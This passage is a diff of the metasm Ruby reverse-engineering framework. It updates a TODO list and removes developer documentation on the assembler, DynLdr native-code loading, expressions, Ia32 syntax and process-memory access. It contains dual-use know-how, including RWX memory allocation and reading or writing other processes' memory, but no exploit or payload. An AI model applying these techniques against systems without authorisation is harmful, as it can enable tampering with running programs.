latter may be auto-detected (or may not).

View File

@ -2,13 +2,14 @@ List of TODO items, by section, in random order
Ia32
emu fpu
add all sse2 instrs
AVX support
realmode
X86_64
decompiler
CPU
Arm
Sparc
Cell
@ -26,14 +27,14 @@ Assembler
Disasm
DecodedData
Exe decoding generate decodeddata ?
Function-local namespace (esp+12 -> esp+var_42)
Function variable names using stack analysis + ExpressionString
Fix thunk detection (thunk: mov ecx, 42 jmp [iat_thiscall] is not a thunk)
Test with ET_REL style exe
Store stuff out of mem (to handle big binaries)
Better :default usage
good on call eax, but not on <600k instrs> ret
use binary personality ? (uses call vs uses pushret..)
Improve backtrace -> patch di.instr.args exprs
Improve 'backtrace => patch di.instr.args'
path-specific backtracking ( foo: call a ; a: jmp retloc ; bar: call b ; b: jmp retloc ; retloc: ret ; call foo ; ret : last ret trackback should only reach a:)
Decode pseudo/macro-instrs (mips 'li')
Deoptimizer (instr reordering for readability)
@ -69,6 +70,7 @@ Decompiler
Handle/hide compiler-generated stuff (getip, stack cookie setup/check..)
Handle call 1f ; 1: pop eax
More user control (force/forbid register arg, return type, etc)
Preserve C decompiled line association to range of asm decoded addrs
Debugger
OSX
@ -81,7 +83,6 @@ Debugger
Remote debugging (small standalone C client)
Support dbghelp.dll (ms symbol server info)
Support debugee function call (gdb 'call')
Manipulate memory through C struct casts
ExeFormat
Handle minor editing without decode/reencode (eg patch ELF entrypoint)
@ -105,10 +106,9 @@ GUI
show breakpoints
show jump direction from current flag values
have a console frontend
better graph positionning fallback
zoom font when zooming graph
copy/paste, selection
text selection
map (part of) the binary & debug it (map a PE on a linux host & run it)
Ruby
compile ruby AST to native optimized code
write a fast ruby-like interpreter

View File

@ -1,146 +0,0 @@
Metasm source code organisation
===============================
The metasm source code takes advantage of the ruby language facilities,
which allows splitting the definition of a single class in multiple files.
Each file in the source tree holds code related to a particular feature of
the framework.
Directories
-----------
The top-level directories are :
* `doc/`: this documentation
* `metasm/`: the framework core
* `samples/`: a set of sample scripts showing various functionnalities of the framework
* `tests/`: a few unit tests (too few..)
* `misc/`: misc ruby scripts, not directly related to metasm
The core
--------
The `metasm/` directory holds most of the code of the framework, along with the
main `metasm.rb` file in the top directory.
The top-level `metasm.rb` has code to load parts of the framework source on demand
in the ruby interpreter, which is implemented with ruby's <const_missing.txt>
Executable formats
##################
The `exe_format/` subdirectory contains the implementations of the various
binary file formats supported in the framework.
Three files have a special meaning here:
* `main.rb`: it defines the <core/ExeFormat.txt> class
* `serialstruct.rb`: here you'll find the definitions of <core/SerialStruct.txt>
* `autoexe.rb`: the implementation of <core/AutoExe.txt>, which allows the recognition of arbitrary files from their binary signature.
The `main.rb` file is included in all other formats, as all file classes
are subclasses of `ExeFormat`.
The `serialstruct.rb` implements a helper class to ease the description of
binary structures, and generate parsing/encoding functions for those.
All other files implement a specific file format handler. The bigger files
(`ELF` and `PE/COFF`) are split between the parsing/encoding functions and
decoding/disassembly.
CPUs
####
All supported architectures have a dedicated subdirectory, and a helper file
that will simply include all the arch-specific files.
All those files will contribute to add functions to the same class implementing
the CPU interface. Not all CPUs implement all those features. They are:
* `main.rb`: inner classes definitions (for registers etc), generic functions
* `opcodes.rb`: initializes the opcode list for the architecture
* `encode.rb`: methods to encode instructions
* `decode.rb`: methods to decode/emulate instructions
* `parse.rb`: methods to parse asm instructions from a source file
* `render.rb`: methods to output an instruction to a string
* `compile_c.rb`: the C compiler implementation
* `decompile.rb`: the arch-specific part of the generic decompiler
* `debug.rb`: arch-specific information used when debugging target of this architecture
In some cases the files are small enough to be all merged into the `main.rb` file.
Operating systems
#################
The `os/` subdirectory holds the code used to abstract an operating systems.
The files here define an API allowing to enumerate running processes, and interact
with them in various ways. The <core/Debugger.txt> class and subclasses are
defined there.
Those files also holds the list of known functions and in which system libraries
they can be found (see <core/WindowsExports.txt> or <core/GNUExports.txt>), which
are used when linking executable files.
Graphical user-interface
########################
The `gui/` subdirectory contains the code needed by the metasm graphical user-interfaces.
Currently those include the disassembler and the debugger (see the *samples* section).
Those GUI elements are implemented using a custom GUI abstraction, and reside in the
various `dasm_*.rb` and `debug.rb`.
The actual implementation of the GUI are found in:
* `win32.rb`: the native Win32 API backend
* `gtk.rb`: a Gtk2 backend, intended for unix platforms
* `qt.rb`: a Qt backend experiment
Please note that the Qt backend does not work *at all*.
The `gui.rb` file in the main directory is used to chose among the available GUI backend
the most appropriate for the current session.
Others
######
The other files directly in the `metasm/` directory are either support files
(eg `encode.rb`, `parse.rb`) that hold generic functions to be used by
specific cpu/exeformat instances, or implement arch-agnostic features.
Those include:
* `preprocessor.rb`: the C/asm preprocessor/lexer
* `parse_c.rb`: this is the implementation of the C parser
* `compile_c.rb`: this is a C precompiler, it generates a very simplified C from a standard source
* `decompile.rb`: the generic decompiler code, it uses arch-specific functions defined in the arch folder
* `dynldr.rb`: this module is used when interacting directly with the host operating system through <core/DynLdr.txt>
The samples
-----------
The `samples/` directory contains a lot of small files that intend to be
exemples of how to use the framework. It also holds experiments and
work-in-progress for features that may later be integrated into the main
framework.
The comment at the beginning of the file should be clear about the purpose
of the script, and the scripts are expected to be copy/pasted and tweaked
for the specific task needed by the user (that's you).
Some of those files however are full-featured applications:
* `exeencode.rb`: a shellcode compiler, with its `peencode.rb`, `elfencode.rb`, `machoencode.rb` counterparts
* `disassemble.rb`: a disassembler
* `disassemble-gui.rb`: the graphical disassembler / debugger
The `samples/dasm-plugins/` subdirectory holds various plugins for the disassembler.

View File

@ -1,16 +0,0 @@
The const_missing trick
=======================
Metasm uses a ruby trick to load most of the framework on demand, so that
*e.g.* the `MIPS`-related classes are never loaded in the ruby interpreter
unless you use them.
It is setup by the top-level `metasm.rb` file, by using the ruby mechanism of
`Module.autoload`. This mechanism will automatically load the specified metasm
components whenever a reference is made to one of the constants listed here.
Metasm provides a replacement top-level file, `misc/metasm-all.rb`,
which will unconditionally load all metasm files.
This will not however load mutually exclusive files, like the Gui subsystems ;
in this case it will load only the autodetected gui module (win32 or gtk).

View File

@ -1,247 +0,0 @@
DynLdr
======
DynLdr is a class that uses metasm to dynamically add native methods,
or native method wrappers, available to the running ruby interpreter.
It leverages the built-in C parser / compiler.
It is implemented in `metasm/dynldr.rb`.
Currently only supported for <core/Ia32.txt> and <core/X86_64.txt> under
Windows and Linux.
Basics
------
Native library wrapper
######################
The main usage is to generate interfaces to native libraries.
This is done through the `#new_api_c` method.
The following exemple will read the specified C header fragment,
define ruby constants for all `#define`/`enum`, and define ruby
method wrappers to call the native functions whose prototype is
present in the header.
All referenced native functions must be exported by the given
library file.
class MyInterface < DynLdr
c_header = <<EOS
#define SomeConst 42
enum { V1, V2 };
__stdcall int methodist(char*, int);
EOS
new_api_c c_header, 'mylib.dll'
end
Then you can call, from the ruby:
MyInterface.methodist("lol", MyInterface::SOMECONST)
Constant/enum names are converted to full uppercase, and method
names are converted to full lowercase.
Dynamic native inline function
##############################
You can also dynamically compile native functions, that are compiled
in memory and copied to RWX memory with the right ruby wrapper:
class MyInterface < DynLdr
new_func_c <<EOS
int bla(char*arg) {
if (strlen(arg) > 4)
return 1;
else
return 0;
}
EOS
end
References to external functions are allowed, and resolved automatically.
The ruby objects used as arguments to the wrapper method are
automatically converted to the right C type.
You can also write native functions in assembly, but you must specify a
C prototype, used for argument and return value conversion.
class MyInterface < DynLdr
new_func_asm "int increment(int i);", <<EOS
mov eax, [esp+4]
inc eax
ret
EOS
p increment(4)
end
Structures
----------
`DynLdr` handles C structures.
Once a structure is specified in the C part, you can create a ruby object
using `MyClass.alloc_c_struct(structname)`, which will allocate an object of the
right size to hold all the structure members, and with the right accessors.
To access/modify struct members, you can either use a `Hash`-style access
structobj['membername'] = 42
or `Struct`-style access
structobj.membername = 42
Member names are matched case-insensitively, and nested structures/unions
are also searched.
The struct members can be initially populated by passing a `Hash` argument
to the `alloc_c_struct` constructor. Additionally, this hash may use the
special value `:size` to reference the byte size of the current structure.
class MyInterface < DynLdr
new_api_c <<EOS
struct sname {
int s_mysize;
int s_value;
union {
struct {
int s_bits:4;
int s_bits2:4;
};
int s_union;
}
};
EOS
end
# field s_mysize holds the size of the structure in bytes, ie 12
s_obj = MyInterface.alloc_c_struct('sname', :s_mysize => :size, :s_value => 42)
# we can access fields using Hash-style access
s_obj['s_UniOn'] = 0xa8
# or Struct-style access
puts '0x%x' % s_obj.s_BiTS2 # => '0xa'
This object can be directly passed as argument to a wrapped function, and
the native function will receive a pointer to this structure (that it can
freely modify).
This object is a `C::AllocStruct`, defined in `metasm/parse_c.rb`.
Internally, it is based on a ruby `String`, and has a reference to the parser's
`Struct` to find the mapping membername -> offsets/length.
See <core/CParser.txt> for more details.
Callbacks
---------
`DynLdr` handles C callbacks, with arbitrary ABI.
Any number of callbacks can be defined at any time.
C callbacks are backed by a ruby `Proc`, eg `lambda {}`.
class MyInterface < DynLdr
new_api_c <<EOS
void qsort(void *, int, int, int(*)(void*, void*));
EOS
str = "sanotheusnaonetuh"
cmp = lambda { |p1, p2|
memory_read(p1, 1) <=> memory_read(p2, 1)
}
qsort(str, str.length, 1, cmp)
p str
end
Argument conversion
-------------------
Ruby objects passed to a wrapper method are converted to the corresponding
C type
* `Strings` are converted to a C pointer to the byte buffer (also directly
accessible from the ruby through `DynLdr.str_ptr(obj)`
* `Integers` are converted to their C equivalent, according to the prototype
(`char`, `unsigned long long`, ...)
* `Procs` are converted to a C callback
* `Floats` are not supported for now.
Working with memory
-------------------
DynLdr provides different ways to allocate memory.
* `alloc_c_struct` to allocate a C structure
* `alloc_c_ary` to allocate C array of some type
* `alloc_c_ptr`, which is just an ary of size 1
* `memory_alloc` allocates memory from a new memory page
`memory_alloc` works by calling `mmap` under linux and `VirtualAlloc` under windows,
and is suitable for allocating memory where you want to control
the memory permissions (read, write, execute). This is done through `memory_perm`.
`memory_perm` takes for argument the start address, the length, and the new permission, specified as a String (e.g. 'r', 'rwx')
To work with memory that may be returned by an API (e.g. `malloc`),
DynLdr provides ways to read and write arbitrary pointers from the ruby
interpreter memory.
Take care, those may generate faults when called with invalid addresses that
will crash the ruby interpreter.
* `memory_read` takes a pointer and a length, and returns a String
* `memory_read_int` takes a pointer, and returns an Integer (of pointer size,
e.g. 64 bit in a 64-bit interpreter)
* `memory_write` takes a pointer and a String, and writes it to memory
* `memory_write_int`
Hacking
-------
Internally, DynLdr relies on a number of features that are not directly
available from the ruby interpreter.
So the first thing done by the script is to generate a binary native module
that will act as a C extension to the ruby interpreter.
This binary is necessarily different depending on the interpreter.
The binary name includes the target architecture, in the format
dynldr-*arch*-*cpu*-*19*.so, e.g.
* dynldr-linux-ia32.so
* dynldr-windows-x64-19.so
This native module is (re)generated if it does not exist, or is older than the
`dynldr.rb` script.
A special trick is used in this module, as it does not know the actual name
of the ruby library used by the interpreter. So on linux, the `libruby` is
removed from the `DT_NEEDED` library list, and on windows a special stub
is assembled to manually resolve the ruby imports needed by the module from
any instance of `libruby` present in the running process.
The native file is written to a directory writeably by the current user.
The following list of directories are tried, until a suitable one is found:
* the `metasm` directory itself
* the `$HOME`/`$APPDATA`/`$USERPROFILE` directory
* the `$TMP`/`$TEMP`/current directory

View File

@ -1,43 +0,0 @@
ExeFormat
=========
This class is the parent of all executable format handlers.
It is defined in `metasm/exe_format/main.rb`.
It defines some standard shortcut functions, such as:
* `Exe.decode_file(filename)`
* `Exe.assemble(cpu,asm_source)`
* `Exe.compile_c(cpu,c_source)`
* `Exe#encode_file(filename)`
These methods will instanciate a new Exe, and call the corresponding
methods, *e.g.* `load` with the file content, and `decode`.
The handling of the different structures in the binary format should be
done using the <core/SerialStruct.txt> facility.
The subclasses are expected to implement various functions, depending on the
usage (refer to the ELF and COFF implementations for more details):
File decoding/disassembly
-------------------------
* `#decode_header`: parse the raw data in `#encoded` only to parse the file header
* `#decode`: parse all the raw data in `#encoded`
* `#cpu_from_headers`: return a <core/CPU.txt> instance according to the exe header information
* `#get_default_entrypoints`: the list of entrypoints (exported functions, etc)
* `#dump_section_header`: return a string that may be assembled to recreate the specified section
* `#section_info`: return a list of generic section informations for the disassembler
File encoding/source parsing
----------------------------
* `#tune_prepro`: define exe-specific macros for the preprocessor (optional)
* `#parse_init`: initialize the `@cursource` array to receive the parsed asm source
* `#parse_parser_instruction`: parse exe-specific instructions, eg `.text`, `.import`...
* `#assemble`: assemble the content of the @cursource into binary section contents
* `#encode`: assemble the various sections and a binary header into `@encoded`

View File

@ -1,220 +0,0 @@
Expression
==========
Metasm uses this class to represent arbitrary symbolic arithmetic expressions, e.g.
* `42`
* `eax + 12`
* `loc_4228h + 4*ebx - 12`
These expressions can include `Integers`, `Symbols`, and `Strings`.
The symbols and strings represent arbitrary variables, with the convention that
strings represent fixed quantities (eg addresses, labels), whereas symbols
represent more variable stuff (eg register values).
There is also a special symbol that may be used, `:unknown`, to represent a
value that is known to be unknown. See the `reduce` section.
See also <core/Indirection.txt>.
The Expression class holds all methods relative to Integer binary manipulation,
that is `encoding` and `decoding` from/to a binary blob (see also
<core/EncodedData.txt>)
Members
-------
Expressions hold exactly 3 members:
* `lexpr`, the left-hand side of the expression
* `rexpr`, the right-hand side
* `op`, the operator
`lexpr` and `rexpr` can be any value, most often String, Symbol, Integer or
Expression. For unary operators, `lexpr` is `nil`.
`op` is a Symbol representing the operation.
It should be from the list:
* arithmetic: `+ - / * >> << & | ^`
* boolean: `|| && == != > >= < <=`
* unary: `+ - ~ !`
Instantiation
-------------
In ruby code, use the class method `[]`. It takes 1 to 3 arguments, `lexpr`,
`op`, and `rexpr`. `lexpr` defaults to `nil`, and `op` defaults to `:+` (except
for negative numeric values, which is stored with `op` == `:-` and `rexpr` ==
abs).
If `lexpr` or `rexpr` are an `Array`, the `[]` constructor is called
recursively, to ease the definition of nested Expressions.
Exemples:
Expression[42]
Expression[:eax, :+, 12]
Expression[:-, 'my_var']
Expression[[:eax, :-, 4], :*, [:ebx, :+, 0x12]]
The Expression class also includes a parser, to allow creating an expression
from a string. `parse_string!` will create an Expression and update its
argument to point after the last part read successfully into the expr.
The parser handles standard C operator precedence.
str = "1 + var"
Expression.parse_string!(str) # => Expression[1, :+, "var"]
str = "42 bla"
Expression.parse_string!(str) # => Expression[42]
str # => "bla"
Use `parse_string` without the ! to parse the string without updating it.
External variables
------------------
The `externals` method will return all non-integer members of the Expression.
Expression[[:eax, :+, 42], :-, "bla"].externals # => [:eax, "bla"]
Pattern matching
----------------
The `match` method allows to check an Expression against a pattern without
having to check individual members. The pattern should be an Expression,
whose variable members should be Strings or Symbols, which are also passed as
arguments to the match function. On successful match, the correspondance
between variable patterns and their actual value matched is returned as a Hash.
Expression[1, :+, 2].match(Expression['var', :+, 2], 'var')
# => { 'var' => 1 }
Expression[1, :+, 2].match(Expression['var', :+, 'var'], 'var')
# => nil
Expression[1, :+, 1].match(Expression['var', :op, 'var'], 'var', :op)
# => { 'var' => 1, :op => :+ }
Reduction
---------
Metasm Expressions include a basic symbolic computation engine, that allows
some simple transformations of the Expression. The reduction will also
compute numerical values whenever possible. If the final result is fully
numeric, an Integer is returned, otherwise a new Expression is returned.
In this context, the special value `:unknown` has a particular meaning.
Expression[1, :+, 2].reduce
# => 3
Expression[:eax, :+, [:ebx, :-, :eax]].reduce
# => Expression[:ebx]
Expression[1, :+, [:eax, :+, 2]].reduce
# => Expression[:eax, :+, 3]
Expression[:unknown, :+, :eax].reduce
# => Expression[:unknown]
The symbolic engine operates mostly on addition/substractions, and
no-operations (eg shift by 0). It also handles some boolean composition.
The detail can be found in the #replace_rec method body, in `metasm/main.rb`.
The reduce method can also take a block argument, which will be called at
every step in the recursive reduction, for custom operations. If the block
returns nil, the result is unchanged, otherwise the new value is used as
replacement. For exemple, if you operate on 32-bit values and want to get rid
of `bla & 0xffffffff`, use
some_expr.reduce { |e|
if e.kind_of?(Expression) and e.op == :& and e.rexpr == 0xffff_ffff
e.lexpr
end
}
Binding
-------
An expression involving variable externals can be bound using a Hash. This will
replace any occurence of a key of the Hash by its value in the expression
members. The `bind` method will return a new Expression with the substitutions,
and the `bind!` method will update the Expression in-place.
Expression['val', :+, 'stuff'].bind('val' => 4, 'stuff' => 8).reduce
# => 12
Expression[:eax, :+, :ebx].bind(:ebx => 42)
# Expression[:eax, :+, 42]
Expression[:eax, :+, :ebx].bind(:ebx => :ecx)
# Expression[:eax, :+, :ecx]
You can use Expressions as keys, but they will only be used on perfect matches.
Binary packing
--------------
Encoding
########
The `encode` method will generate an EncodedData holding the expression, either
as binary if it can reduce to an integral value, or as a relocation.
The arguments are the relocation type and the endianness, plus an optional
backtrace (to notify the user where an overflowing relocation comes from).
The `encode_imm` class method will generate a raw String for a given
integral value, a type and an endianness.
The type can be given as a byte size.
Expression.encode_imm(42, :u8, :little) # => "*"
Expression.encode_imm(42, 1, :big) # => "*"
Expression.encode_imm(256, :u8, :little) # raise EncodeError
On overflows (value cannot be encoded in the bit field) an EncodeError
exception is raised.
Decoding
########
The `decode_imm` class method can be used to read a binary value into an
Integer, with an optional offset into the binary string.
Expression.decode_imm("*", :u8, :little) # => 42
Expression.decode_imm("bla\xfe\xff", :i16, :little, 3) # => -2
Arithmetic coercion
-------------------
Expression implement the `:+` and `:-` ruby methods, so that `expr + 4`
works as expected. The result is reduced.
Integer methods
---------------
The Expression class offers a few methods to work with integers.
make_signed
###########
`make_signed` will convert a raw unsigned to its equivalent signed value,
given a bit size.
Expression.make_signed(1, 16) # => 1
Expression.make_signed(0xffff, 16) # => -1
in_range?
#########
`in_range?` can check if a given numeric value would fit in a particular
<core/Relocation.txt> field. The method can return true or false if it
fits or not, or `nil` if the result is unknown (eg the expr has no numeric
value).
Expression.in_range?(42, :i8) # => true
Expression.in_range?(128, :i8) # => false
Expression.in_range?(-128, :i8) # => true
Expression.in_range?(Expression['bla'], :u32) # => nil

View File

@ -1,27 +0,0 @@
GNUExports
==========
This class is defined in `metasm/os/gnu_exports.rb`
It defines an `EXPORT` constant, a Hash, whose keys
are the standard linux API symbol names, and values
are the library name where you can find this symbol.
The equivallent for windows is <core/WindowsExports.txt>
Usage
-----
The main usage of this class is the automatic generation
of the <core/ELF.txt> dynamic tag `DT_NEEDED` from the
external symbols referenced by a binary during compilation.
This is done in the `automagic_symbols` method.
Symbols
-------
The current version holds the symbols of the debian
glibc, from `libc.so.6` and `libdl.so.2`.
Ruby symbols are also defined, from `libruby1.8.so.1.8`.

View File

@ -1,234 +0,0 @@
Ia32
====
The Ia32 architecture, aka *Intel_x86*, is the most advanced among the
architectures implemented in the framework. It is a subclass of the
generic <core/CPU.txt>.
It can handle binary code for the 16 and 32bits modes of the processor.
It is a superclass for the <core/X86_64.txt> object, a distinct processor
that handles 64-bit *long_mode* (aka *x64*, *amd64*, *em64t*)
The CPU `shortname` is `ia32` (`ia32_16` in 16-bit mode, and a `_be` suffix
if bigendian)
Opcodes
-------
The opcodes list can be customized to match that available on a specific
version of the processor. The possibilities are:
* 386_common
* 386
* 387
* 486
* pentium
* p6
* 3dnow
* sse
* sse2
* sse3
* vmx
* sse42
Most opcodes are available in the framework, with the notable exception of:
* most sse2 simd instructions
* the AVX instructions
* amd-specific instructions
The `386_common` family is the subset of 386 instruction that are most
commonly found in standard usermode programs (no `in`/`out`/bcd
arithmetic/far call/etc).
This can be useful when manipulating stuff that in not known to be i386
binary code.
Initialization
--------------
An Ia32 <core/CPU.txt> object can be created using the following code:
Metasm::Ia32.new
The `X86` alias may be used in place of `Ia32`.
The constructor accepts optional arguments to specify the CPU size, the
opcode family, and the endianness of the processor. The arguments can
be given in any order. For exemple,
Metasm::Ia32.new(16, 'pentium', :big)
will create a 16-bit mode cpu, with opcodes up to the 'pentium' CPU family,
in big-endian mode.
The Ia32 initializer has the convenience feature that it will create an
X86_64 instance when given the 64 bit size (e.g. `Ia32.new(64)` returns an
X86_64 instance)
Assembler
---------
The parser handles only Intel-style asm syntax, *e.g.*
some_label:
mov eax, 10h
mov ecx, fs:[eax+16]
push dword ptr fs:[1Ch]
call ecx
test al, al
jnz some_label
ret
fmulp ST(4)
Instruction arguments
#####################
The parser recognizes standard registers, such as
* `eax`
* `ah`
* `mm4` (mmx 64bit register)
* `xmm2` (xmm 128bit register)
* `ST` (current top of the FPU stack)
* `ST(3)` (FPU reg nr.3)
* `cs` (segment register)
* `dr3` (debug register)
* `cr2` (control register)
It also supports inexistant registers, such as
* `cr7`
* `dr4`
* `segr6` (segment register nr.6)
The indirections are called `ModRM`. They take the form:
* `[eax]` (memory pointed by `eax`)
* `byte ptr [eax]` (1-byte memory pointed by `eax`)
* `byte [eax]` (same as previous)
* `fs:[eax]` (offset `eax` from the base of the `fs` segment)
* `[fs:eax]` (same as previous)
The pointer itself can be:
* `[eax]` (any register)
* `[eax+12]` (base + numeric offset)
* `[eax+ebx]` (base + register index)
* `[eax + 4*ebx]` (base + 1,2,4 or 8 * index)
* `[eax + 2*ebx + 42]` (both)
Note that the form base + s*index cannot use `esp` as index with s != 1.
For indirection sizes, the size is taken from the size of other arguments
if it is not specified (eg `mov eax, [42]` will be 4 bytes, and `mov al, [42]`
will be 1). The explicit size specifier can be:
* `byte` (8bits)
* `word` (16)
* `dword` (32)
* `qword` (64)
* `oword` (128)
* `_12bits` (12, arbitrary numbers can be used)
Parser commands
###############
The following commands are recognized in an asm source:
* `.mode`
* `.bits`
They are synonymous, and serve to change the mode of the processor to either
16 or 32bits.
They should be the first instruction in the source, changing the mode during
parsing is not supported. This would change only the mode for the next
instructions to be parsed, and for all instructions (incl. those already parsed
at this point) when encoding, which is likely **not** what you want. See the
`codeXX` prefixes.
Note that changing the CPU size once it was created may have bad side-effects.
For exemple, some preprocessor macros may already have been generated according
to the original size of the CPU and will be incorrect from this point on.
Prefixes
########
The following prefixes are handled:
* `lock`
* `rep`, `repz`, `repnz`, `repe`, `repne`
* `code16`, `code32`
The `repXX` prefixes are for string operations (`movsd` etc), but will be set
for any opcode. Only the last of the family will be encoded.
The `code16` will generate instructions to be run on a CPU in 16bit mode,
independantly of the global CPU mode. For exemple,
code16 mov ax, 42h
will generate `"\xb8\x42\x00"` (no opsz override prefix), and will decode or
run incorrectly on an 32bit CPU.
The encoder also has code to handle `jmp hints` prefixes, but the parser has
no equivalent prefix support.
There is currently no way to specify a segment-override prefix for instruction
not using a ModRM argument. Use a `db 26h` style line.
Suffixes
########
The parser implements a specific feature to allow the differenciation of
otherwise ambiguous opcodes, in the form of instruction suffixes.
By default, the assembler will generate the shortest encoding for a given
instruction. To force encoding of another form you can add a specific
suffix to the instruction. In general, metasm will use e.g. register sizes
when possible to avoid this kind of situations, but with immediate-only
displacement this is necessary.
or.a16 [1234h], eax ; use a 16-bit address
or [bx], eax ; use a 16-bit address (implicit from the bx register)
or eax, 1 ; "\x83\xc8\x01"
or.i8 eax, 1 ; "\x83\xc8\x01" (same, shortest encoding)
or.i eax, 1 ; "\x81\xc8\x01\x00\x00\x00" (constant stored in a 32bit field)
movsd.a16 ; use a 16-byte address-size override prefix (copy dword [si] to [di])
push.i16 42h ; push a 16-bit integer
The suffixes are available as follow:
* if the opcode takes an integer argument that can be encoded as either a 8bits or <cpu size>bits, the `.i` and `.i8` variants are created
* if the opcode takes a memory indirection as argument, or is a string operation (`movsd`, `scasb`, etc) the `.a16` and `.a32` variants are created
* if the opcode takes a single integer argument, a far pointer, or is a return instruction, the `.i16` and `.i32` variants are created
C parser
--------
The Ia32 C parser will initialize the type sizes with the `ilp32` memory
model, which is:
* short = 16bits
* int = 32bits
* long = 32bits
* long long = 64bits
* pointer = 32bits
In 16bit mode, the model is `ilp16`, which may not be correct (the 16bits
compiler has not been tested anyway).
The following macros are defined (in the asm preprocessor too)
* `_M_IX86` = 500
* `_X86_`
* `__i386__`

View File

@ -1,108 +0,0 @@
SerialStruct
============
This is a helper class to handle binary packed data, especially to
represent <core/ExeFormat.txt> structures.
The implementation is in `metasm/exe_format/serialstruct.rb`.
Basics
------
The class defines some class methods, such as:
* `dword`
* `byte`
* `strz`
These methods can be used directly in subclass definitions, e.g.
class MyHeader < SerialStruct
dword :signature
dword :length
end
This will associate the sequence of fields to this structure, which
is used in the `#encode` and `#decode` methods.
These methods rely on an <core/ExeFormat.txt> instance to define
the corresponding `decode_dword` and `encode_dword` methods.
You can then simply call:
hdr = MyHeader.decode(myexefmt)
which will call `myexefmt.decode_word` twice to populate the
`signature` and `length` fields of the MyHeader.instance.
You can also redefine the `#decode` method to handle special cases.
The fields defined this way can be assigned a default value that
will be used when encoding the structure. The syntax is:
dword :fieldname, defaultvalue
If you have a long sequence of identically-typed fields, you can use
the plural form:
dwords :f1, :f2, :f3, :f4
To define your own field types, you should create a new subclass and call the
`new_field` class method. For integral fields, use `new_int_field(fldname)`
that will automatically define the decode/encode routines, and create the
plural form.
class MyStruct < SerialStruct
new_int_field :zword
zwords :offset, :length
end
Symbolic constants
------------------
The class has built-in support for symbolic constants and bit fields.
For exemple, suppose you have a numeric `:type` field, which corresponds
to a set of numeric constants `TYPE_FOO TYPE_BAR TYPE_LOL`. You can use:
TYPES = { 2 => 'FOO', 3 => 'BAR', 4 => 'LOL' }
dword :type
fld_enum :type, TYPES
With this, the standard '#decode' method will first decode the numeric value
of the field, and then lookup the value in the enum hash to find the
corresponding symbol, and use it as the field value.
If there is no mapping, the numeric value is retained. The reverse operation
is done with `#encode`.
For the bitfields, the method is `fld_bits`, and the software will try to
match *OR-ed* values from the bitfield to generate an array of symbols.
BITS = { 1 => 'B1', 2 => 'B2', 4 => 'B4' }
dword :foo
fld_bits :foo, BITS
which will give, for the numeric value `0x15`, `["B1", "B4", 0x10]`
The hashes used for fld_bits or fld_enum can be dynamically determined, by
using the block version of those methods. The block will receive the ExeFormat
instance and the SerialStruct instance, and should return the Hash.
This can be useful when a bitfield signification varies given some generic
property of the exe, eg the target architecture.
Hooks
-----
It is also possible to define a hook that will be called at some point during
the object binary decoding. It will receive the exe and struct instances.
class Header < SerialStruct
dword :machine
decode_hook { |exe, hdr| raise "unknown machine" if hdr.machine > 4 }
dword :bodylength
end

View File

@ -1,145 +0,0 @@
VirtualString
=============
This class is an abstract representation of an arbitrary sized byte array
with methods to load parts of it on demand. It is useful to represent
a program virtual memory and allow metasm to work on it while only reading
bytes from it when actually needed.
The base class is defined in `metasm/os/main.rb`.
Basics
------
The API of the object is designed to be compatible with a standard String (ASCII-8BIT).
The main restriction is that the size of this string cannot be changed:
concatenation / shortening is not supported.
The main operation on the object should be `[]` and `[]=`, that is,
reading some subpart of the string, or overwriting some substring.
The arguments are the same as for a String, with the exception that
rewrite raises an IndexError if the rewriting would change the string
length.
A few methods are written specifically with the VirtualString semantics,
others are redirected to a temporary real String generated with `realstring`.
The VirtualString works with a `page` concept, that represents some arbitrary
chunks of data that can be actually read from the underlying target, e.g. a
memory page (4096 bytes) when mapping a process virtual address space.
Instances get to define a `pagelength` sound for the specific implementation.
Whenever a substring is requested from a VirtualString, if the substring
length is less than the page size, an actual read is made and a String is
returned.
If the length is greater however, a new VirtualString is created to map this
new *view* without actually reading.
To force the conversion to a String, use the `realstring` or `to_str` method.
The latter is prefered, as it works on both Strings and VirtualStrings.
To force the creation of a new VirtualString, use the `dup(start, len)` method.
When reading actual bytes, a local page cache is used. By default is has only 4
pages, and can be invalidated using `invalidate`.
The cache is automatically invalidated when part of the string is written to.
The VirtualString may index *invalid* pages (e.g. unmapped memory range in a
process address space) ; you can check that with `page_invalid?` with an index
as parameter.
Creation
--------
To create your own flavor of VirtualString, you must:
* define your subclass that inherits from `VirtualString`
* define your initializer, that takes whatever arguments make sense (e.g. a
*pid*, *handle*, Socket..)
* your initializer must call super(a, l) with arguments:
** current view absolute address (should default to 0), will be saved in
`@addr_start`
** current view size (should default to something sensible, like 1<<32), saved
in `@length`
* your initializer can override the default page size by defining the
`@pagelength` variable.
* implement a `dup` method that takes optional arguments:
** new base address (default=`@addr_start`)
** new length (default=`@length`)
** returns a new instance of your class mapping over the specified window
* implement a `get_page` method, whose arguments are:
** absolute page address (will always be page-aligned)
** optional length, default=`@pagelength`
** returns a String of `length` bytes, or `nil` (e.g. unmapped area)
* optionally implement a `rewrite_at` method, to make your string writeable.
Arguments are the absolute write address, and the data to write there (a String).
Feel free to override any other method with an optimized version.
For exemple, the default `realstring` will repeatadly call `get_page` with
each page in the range 0..`length`, you may have a more efficient alternative.
You can alter the cache size by rewriting the `@pagecache_len` variable
**after** calling `super()` in `initialize`. The default value is 4, which you
may want to increase.
See the `WindowsRemoteString` source for a simple exemple (ignore the `open_pid`
method).
Standard subclasses
-------------------
VirtualFile
###########
Defined in `metasm/os/main.rb`.
This class maps over an open file descriptor, and allows reading data on-demand.
It implements the `read` class method, similar to `File.read`, with the
file opened in binary mode. For a small file (<=4096), the content is
directly returned, otherwise a VirtualString is created.
This class is used by the default <core/ExeFormat.txt> `decode_file[_header]`
methods.
LinuxRemoteString
#################
Defined in `metasm/os/linux.rb`.
This class maps over the virtual memory of a Linux process.
Accesses are done through the `/proc/<pid>/mem` for reading.
The linux kernel requires that the target process be ptraced before we can
read this file, so the object will use the debugger instance passed to the
constructor, or create a new <core/PTrace.txt> object to stop the process
and read its memory during `get_page`.
If a <core/Debugger.txt> object was given, `get_page` will return `nil` if the
debugger indicates that the target is not stopped.
Writing is done through `PTrace#writemem` using `PTRACE_POKEDATA`.
WindowsRemoteString
###################
Defined in `metasm/os/windows.rb`.
This class maps over the virtual memory of a Windows process.
The memory accesses are done using the `Read/WriteProcessMemory` API.
The class method `open_pid` is defined, that will try to `OpenProcess`
first in read/write, and fallback to read-only mode.
GdbRemoteString
###############
Defined in `metasm/os/remote.rb`.
Maps over the virtual memory of a remote process debugged with a
<core/GdbClient.txt> instance, using `setmem` and `getmem`.

View File

@ -1,61 +0,0 @@
WindowsExports
==============
